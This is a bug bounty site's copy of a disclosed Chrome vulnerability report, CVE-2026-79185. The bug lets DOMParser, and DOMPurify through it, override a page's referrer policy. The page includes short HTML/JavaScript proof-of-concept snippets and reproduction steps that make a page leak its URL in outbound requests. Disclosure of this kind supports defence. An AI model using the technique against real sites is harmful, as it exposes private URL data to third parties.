Skip to content
Info disclosure Advisory Advanced CVE-2026-79185

Information leak in DOM (CVE-2026-79185)

Parsing HTML with DOMParser().parseFromString applies a <meta name="referrer"> tag to the calling page's context, even though the parser is meant to be inert. An attacker could use this to override a page's referrer policy and cause sensitive URL data to leak in outbound requests, including through DOMPurify-sanitised content.

Mathias Karlsson Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 38 days

Report description

DOMParser().parseFromString applies <meta> referer policy by just parsing, allowing refleak in parsing/DOMPurify documents


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Description

The DOMParser().parseFromString(string, "text/html") is supposed to be an inert parser for HTML content. Security libraries like DOMPurify relies on it to parse untrusted HTML, and expects it to be inert (in terms of affecting the calling context/window).

However, <meta name="referrer"> is for some reason applied to the current context while parsing, and it can override the current documents policy too:

JavaScript
<html>
    <head>
        <meta name="referrer" content="no-referrer">
    </head>
    <body>
        <script>
        fetch('https://example.com'); // does not leak any referrer, as expected
        new DOMParser().parseFromString(
            `<meta name="referrer" content="unsafe-url">`,
            "text/html"
        );
        fetch('https://example.com'); // does leak referrer
        </script>
    </body>
</html>

Changing referrer policy in a document can lead to security issues where sensitive content is in the current path/query/fragment. Furthermore, due to DOMPurify's usage of it, this example also unexpectedly leaks (even though the meta tag is correctly removed by DOMPurify):

JavaScript
<html>
    <head>
        <meta name="referrer" content="no-referrer">
        <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
    </head>
    <body>
        <script>
        // leaks referrer in the request to example.com
        setTimeout(function(){
                document.documentElement.innerHTML=DOMPurify.sanitize('<meta name="referrer" content="unsafe-url">{{media:0}}')
        }, 1000);
        </script>
    </body>
</html>

Impact analysis

Expected inert DOMParser().parseFromString(string, "text/html") can affect the calling contexts referer policy via <meta name="referrer">.


The cause

What version of Chrome have you found the security issue in?

150.0.7871.124 (Official Build) snap (64-bit)

Is the security issue related to a crash?

No, it is not related to a crash.

Choose the type of vulnerability

Information Leak

How would you like to be publicly acknowledged for your report?

avlidienbrunn

The original report as published on the Chromium issue tracker, by avlidienbrunn. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the HTML parser applies a parsed <meta name="referrer"> element to the calling document's context instead of keeping the parsed document inert.

Impact

Sensitive content in the current path, query or fragment could leak to third parties through outbound requests, including when content passes through DOMPurify.

What the attacker needed

Attacker-controlled HTML is parsed in the page; page relies on a strict referrer policy

How it was found

  1. Set the page's referrer policy to no-referrer and confirm a fetch sends no referrer.
  2. Parse an HTML string containing a meta referrer tag set to unsafe-url with DOMParser.
  3. Make another fetch and observe that a referrer is now sent.
  4. Optionally sanitise the same string with DOMPurify and observe the referrer still leaks.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A referrer policy tells the browser how much of the current page's address to send along when the page makes a request elsewhere. The report shows that a supposedly harmless HTML parser used to clean untrusted content can silently change that policy, so more of the address than intended gets sent to another site. If the address contains private information, that information can leak.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by Mathias Karlsson

View all

7 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.